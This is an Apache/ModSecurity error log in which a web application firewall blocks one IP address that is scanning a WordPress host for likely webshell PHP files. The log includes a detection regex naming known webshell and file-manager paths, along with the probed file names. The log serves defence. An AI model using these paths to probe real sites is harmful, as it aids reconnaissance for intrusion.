[Thu May 14 04:49:21.397548 2026] [:error] [pid 11588:tid 11671] [client 52.139.38.158:59414] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "agTj0dUr21rOixkeGKb4vwAAAJM"]
[Thu May 14 04:49:22.238621 2026] [:error] [pid 63033:tid 63056] [client 52.139.38.158:47857] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "agTj0lMY49UWn5BpqVY0GQAAARU"]
[Thu May 14 04:49:23.008266 2026] [:error] [pid 63033:tid 63047] [client 52.139.38.158:47857] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "agTj01MY49UWn5BpqVY0GwAAAQw"]
[Thu May 14 04:49:23.966538 2026] [:error] [pid 63033:tid 63044] [client 52.139.38.158:59455] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "agTj01MY49UWn5BpqVY0HwAAAQk"]
[Thu May 14 04:49:24.887118 2026] [:error] [pid 11582:tid 11625] [client 52.139.38.158:59736] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "agTj1Puw2cmFDpGcKhDLdgAAAEA"]
[Thu May 14 04:49:26.172029 2026] [:error] [pid 11690:tid 11699] [client 52.139.38.158:59435] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "agTj1inxWuLN8Hptw8leuwAAAMA"]
[Thu May 14 04:49:28.533865 2026] [:error] [pid 63033:tid 63054] [client 52.139.38.158:47871] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "agTj2FMY49UWn5BpqVY0LAAAARM"]
[Thu May 14 04:49:29.626371 2026] [:error] [pid 11690:tid 11714] [client 52.139.38.158:59776] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "agTj2SnxWuLN8Hptw8lewQAAAM8"]
[Thu May 14 04:49:30.306817 2026] [:error] [pid 11588:tid 11657] [client 52.139.38.158:59416] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "agTj2tUr21rOixkeGKb4wgAAAIU"]
[Thu May 14 04:49:31.399347 2026] [:error] [pid 11581:tid 11615] [client 52.139.38.158:37554] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "agTj2_0vF48FbzpvQMV_PwAAABI"]
[Thu May 14 04:49:32.407542 2026] [:error] [pid 11582:tid 11647] [client 52.139.38.158:47824] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son.php"] [unique_id "agTj3Puw2cmFDpGcKhDLeAAAAFY"]
[Thu May 14 04:49:33.333761 2026] [:error] [pid 11588:tid 11673] [client 52.139.38.158:59742] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son.php"] [unique_id "agTj3dUr21rOixkeGKb4wwAAAJU"]
[Thu May 14 04:49:34.031868 2026] [:error] [pid 11582:tid 11626] [client 52.139.38.158:41602] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son.php"] [unique_id "agTj3vuw2cmFDpGcKhDLfAAAAEE"]
[Thu May 14 04:49:34.988953 2026] [:error] [pid 11588:tid 11652] [client 52.139.38.158:59424] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son.php"] [unique_id "agTj3tUr21rOixkeGKb4xAAAAIA"]
[Thu May 14 04:49:36.362079 2026] [:error] [pid 11588:tid 11659] [client 52.139.38.158:47803] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "agTj4NUr21rOixkeGKb4xwAAAIc"]
[Thu May 14 04:49:37.730019 2026] [:error] [pid 63033:tid 63052] [client 52.139.38.158:37479] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "agTj4VMY49UWn5BpqVY0QQAAARE"]
[Thu May 14 04:49:38.947857 2026] [:error] [pid 63033:tid 63044] [client 52.139.38.158:47789] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "agTj4lMY49UWn5BpqVY0RgAAAQk"]
[Thu May 14 04:49:40.220682 2026] [:error] [pid 11690:tid 11706] [client 52.139.38.158:47847] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "agTj5CnxWuLN8Hptw8lexwAAAMc"]
[Thu May 14 04:49:41.328808 2026] [:error] [pid 11588:tid 11667] [client 52.139.38.158:59731] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zo.php"] [unique_id "agTj5dUr21rOixkeGKb4ygAAAI8"]
[Thu May 14 04:49:43.538961 2026] [:error] [pid 11588:tid 11673] [client 52.139.38.158:47763] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zo.php"] [unique_id "agTj59Ur21rOixkeGKb4zwAAAJU"]
[Thu May 14 04:49:47.437362 2026] [:error] [pid 11690:tid 11719] [client 52.139.38.158:59758] File does not exist: /usr/local/apache/htdocs/suspended-page/zo.php
[Thu May 14 04:49:49.073905 2026] [:error] [pid 11690:tid 11719] [client 52.139.38.158:59758] File does not exist: /usr/local/apache/htdocs/suspended-page/xper1.php
[Thu May 14 04:49:49.281967 2026] [:error] [pid 11690:tid 11708] [client 52.139.38.158:59758] [client 52.139.38.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "agTj7SnxWuLN8Hptw8le0wAAAMk"]
[Thu May 14 04:49:50.959940 2026] [:error] [pid 63033:tid 63052] [client 52.139.38.158:59413] File does not exist: /usr/local/apache/htdocs/suspended-page/bthil.php
[Thu May 14 04:49:51.201055 2026] [:error] [pid 63033:tid 63056] [client 52.139.38.158:59413] File does not exist: /usr/local/apache/htdocs/suspended-page/s1.php
[Thu May 14 04:49:51.449819 2026] [:error] [pid 63033:tid 63036] [client 52.139.38.158:59413] File does not exist: /usr/local/apache/htdocs/suspended-page/de.php
[Thu May 14 04:49:51.681630 2026] [:error] [pid 63033:tid 63035] [client 52.139.38.158:59413] File does not exist: /usr/local/apache/htdocs/suspended-page/axe.php
[Thu May 14 04:49:51.899060 2026] [:error] [pid 63033:tid 63044] [client 52.139.38.158:59413] File does not exist: /usr/local/apache/htdocs/suspended-page/roksad1.php
[Thu May 14 04:49:52.126722 2026] [:error] [pid 63033:tid 63055] [client 52.139.38.158:59413] File does not exist: /usr/local/apache/htdocs/suspended-page/aj11.php
[Thu May 14 04:49:52.359276 2026] [:error] [pid 63033:tid 63059] [client 52.139.38.158:59413] File does not exist: /usr/local/apache/htdocs/suspended-page/yuzuru1.php
[Thu May 14 04:49:52.577957 2026] [:error] [pid 63033:tid 63047] [client 52.139.38.158:59413] File does not exist: /usr/local/apache/htdocs/suspended-page/1a.php
[Thu May 14 04:49:52.809485 2026] [:error] [pid 63033:tid 63037] [client 52.139.38.158:59413] File does not exist: /usr/local/apache/htdocs/suspended-page/gelio1.php
[Thu May 14 04:49:53.023195 2026] [:error] [pid 63033:tid 63058] [client 52.139.38.158:59413] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "agTj8VMY49UWn5BpqVY0aQAAARc"]
[Thu May 14 04:49:53.902880 2026] [:error] [pid 11588:tid 11662] [client 52.139.38.158:37526] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "agTj8dUr21rOixkeGKb40wAAAIo"]
[Thu May 14 04:49:55.259828 2026] [:error] [pid 11581:tid 11608] [client 52.139.38.158:59766] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "agTj8_0vF48FbzpvQMV_QwAAAAs"]
[Thu May 14 04:49:55.910028 2026] [:error] [pid 11690:tid 11712] [client 52.139.38.158:36760] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "agTj8ynxWuLN8Hptw8le2QAAAM0"]
[Thu May 14 04:49:57.158521 2026] [:error] [pid 11690:tid 11717] [client 52.139.38.158:47831] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sky.php"] [unique_id "agTj9SnxWuLN8Hptw8le2gAAANI"]
[Thu May 14 04:49:58.708099 2026] [:error] [pid 63033:tid 63050] [client 52.139.38.158:47762] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sky.php"] [unique_id "agTj9lMY49UWn5BpqVY0fQAAAQ8"]
[Thu May 14 04:50:00.346122 2026] [:error] [pid 11690:tid 11721] [client 52.139.38.158:47837] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sky.php"] [unique_id "agTj-CnxWuLN8Hptw8le3QAAANY"]
[Thu May 14 04:50:02.030350 2026] [:error] [pid 63033:tid 63050] [client 52.139.38.158:59446] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sky.php"] [unique_id "agTj-lMY49UWn5BpqVY0iQAAAQ8"]
[Thu May 14 04:50:03.288175 2026] [:error] [pid 63033:tid 63052] [client 52.139.38.158:59444] [client 52.139.38.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "agTj-1MY49UWn5BpqVY0jwAAARE"]
[Thu May 14 04:50:03.968506 2026] [:error] [pid 11588:tid 11667] [client 52.139.38.158:59767] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/man.php"] [unique_id "agTj-9Ur21rOixkeGKb41QAAAI8"]
[Thu May 14 04:50:04.429251 2026] [:error] [pid 63033:tid 63056] [client 52.139.38.158:47769] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/man.php"] [unique_id "agTj_FMY49UWn5BpqVY0kwAAARU"]
[Thu May 14 04:50:04.916349 2026] [:error] [pid 11588:tid 11664] [client 52.139.38.158:41575] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/man.php"] [unique_id "agTj_NUr21rOixkeGKb41gAAAIw"]
[Thu May 14 04:50:05.417857 2026] [:error] [pid 11582:tid 11649] [client 52.139.38.158:59746] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/man.php"] [unique_id "agTj_fuw2cmFDpGcKhDLfwAAAFg"]
[Thu May 14 04:50:05.990477 2026] [:error] [pid 11582:tid 11639] [client 52.139.38.158:41659] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "agTj_fuw2cmFDpGcKhDLgwAAAE4"]
[Thu May 14 04:50:06.730409 2026] [:error] [pid 11582:tid 11629] [client 52.139.38.158:47808] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "agTj_vuw2cmFDpGcKhDLhAAAAEQ"]
[Thu May 14 04:50:07.277842 2026] [:error] [pid 11582:tid 11637] [client 52.139.38.158:59445] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "agTj__uw2cmFDpGcKhDLhQAAAEw"]
[Thu May 14 04:50:07.861427 2026] [:error] [pid 11582:tid 11648] [client 52.139.38.158:59771] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "agTj__uw2cmFDpGcKhDLhwAAAFc"]
[Thu May 14 04:50:08.970749 2026] [:error] [pid 11588:tid 11668] [client 52.139.38.158:47767] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "agTkANUr21rOixkeGKb42AAAAJA"]
[Thu May 14 04:50:10.056556 2026] [:error] [pid 11588:tid 11673] [client 52.139.38.158:47864] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "agTkAtUr21rOixkeGKb42gAAAJU"]
[Thu May 14 04:50:10.885631 2026] [:error] [pid 11690:tid 11699] [client 52.139.38.158:41647] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "agTkAinxWuLN8Hptw8le4gAAAMA"]
[Thu May 14 04:50:11.455423 2026] [:error] [pid 11588:tid 11674] [client 52.139.38.158:47812] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "agTkA9Ur21rOixkeGKb43QAAAJY"]
[Thu May 14 04:50:12.195403 2026] [:error] [pid 63033:tid 63056] [client 52.139.38.158:47829] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "agTkBFMY49UWn5BpqVY0owAAARU"]
[Thu May 14 04:50:13.129867 2026] [:error] [pid 11690:tid 11715] [client 52.139.38.158:47868] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "agTkBSnxWuLN8Hptw8le4wAAANA"]
[Thu May 14 04:50:13.698542 2026] [:error] [pid 11690:tid 11714] [client 52.139.38.158:37536] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "agTkBSnxWuLN8Hptw8le5AAAAM8"]
[Thu May 14 04:50:15.075290 2026] [:error] [pid 11690:tid 11709] [client 52.139.38.158:47822] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "agTkBynxWuLN8Hptw8le5wAAAMo"]
[Thu May 14 04:50:16.536952 2026] [:error] [pid 11690:tid 11712] [client 52.139.38.158:41544] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "agTkCCnxWuLN8Hptw8le6QAAAM0"]
[Thu May 14 04:50:17.878405 2026] [:error] [pid 11588:tid 11656] [client 52.139.38.158:47790] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "agTkCdUr21rOixkeGKb43wAAAIQ"]
[Thu May 14 04:50:21.578508 2026] [:error] [pid 63033:tid 63055] [client 52.139.38.158:47765] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "agTkDVMY49UWn5BpqVY0uAAAARQ"]
[Thu May 14 04:50:24.031827 2026] [:error] [pid 63033:tid 63044] [client 52.139.38.158:59726] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "agTkEFMY49UWn5BpqVY0xAAAAQk"]
[Thu May 14 04:50:25.734938 2026] [:error] [pid 63033:tid 63041] [client 52.139.38.158:49536] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "agTkEVMY49UWn5BpqVY0ygAAAQY"]
[Thu May 14 04:50:27.011071 2026] [:error] [pid 11588:tid 11673] [client 52.139.38.158:59432] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "agTkE9Ur21rOixkeGKb45QAAAJU"]
